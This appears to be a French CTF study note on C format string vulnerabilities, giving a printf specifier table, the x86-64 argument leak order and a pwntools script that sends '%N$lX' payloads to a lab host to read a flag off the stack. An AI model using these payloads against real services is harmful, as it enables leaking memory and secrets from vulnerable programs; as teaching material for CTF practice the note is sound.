Skip to main content

Format String

Les vulnérabilités format string sont causées par une erreur dans l'exécution de certaines fonctions en C telles que printf.
En effet, ces fonctions attendent normalement deux arguments : printf(format:<format>, <data to print>).
Quand la fonction est mal exécutée, il est ainsi possivle de faire fuiter la mémoire en utilisant les format specifiers :

Text Description
% Output a literal % character; does not accept flags, width, precision or length fields
d, i (signed) int formatted as decimal; %d and %i are synonymous except when used with scanf
u unsigned int formatted as decimal.
f, F double formatted as fixed-point; f and F only differs in how the strings for an infinite number or NaN are printed (inf, infinity and nan for f; INF, INFINITY and NAN for F)
e, E double formatted as in exponential notation d.ddde±dd; E results in E rather than e to introduce the exponent; the exponent always contains at least two digits; if the value is zero, the exponent is 00; in Windows, the exponent contains three digits by default, e.g. 1.5e002, but this can be altered by Microsoft-specific _set_output_format function
g, G double formatted as either fixed-point or exponential notation, whichever is more appropriate for its magnitude; g uses lower-case letters, G uses upper-case letters; this type differs slightly from fixed-point notation in that insignificant zeroes to the right of the decimal point are not included, and that the precision field specifies the total number of significant digits rather than the digits after the decimal; the decimal point is not included on whole numbers
x, X unsigned int formatted as hexadecimal; x uses lower-case letters and X uses upper-case
o unsigned int formatted as octal
s null-terminated string
c char
p Pointer formatted in an implementation-defined way
a, A double in hexadecimal notation, starting with 0x or 0X. a uses lower-case letters, A uses upper-case letters
n Outputs nothing but writes the number of characters written so far into an integer pointer parameter; in Java this prints a newline

Les paramètres leakeront dans l'ordre associé à l'architecture : RDI > RSI > RDX > RCX > R8 > R9 > Stack (depuis le RSP).

Il est possible de préciser l'index de largument rechercé : %6$X

Petit example de script en python qui exploite cette vulnérabilité pour sortir un flag :

from pwn import *
import codecs

flag = ''

context.quiet
context.log_level = "error"

#io = process('./pwn106-user-1644300441063.pwn106-user')

start_index = 6

ongoing = True

while ongoing:
        print(f'Flag : {flag}', end='\r')
        io = remote('10.128.147.159', 9006)
        io.recvregex(b'giveaway:')
        payload = f'%{start_index}$lX'
        io.sendline(payload.encode('ascii'))
        io.recvregex(b'Thanks ')
        leak = bytearray.fromhex(io.recvline().decode('utf-8'))
        leak.reverse()
        leak = little = ''.join(f"{n:02X}" for n in leak)
        flag += codecs.decode(leak, 'hex').decode('utf-8')
        if '}' in flag:
                print(f'[+] Found flag : {flag}')
                break
        else:
                start_index += 1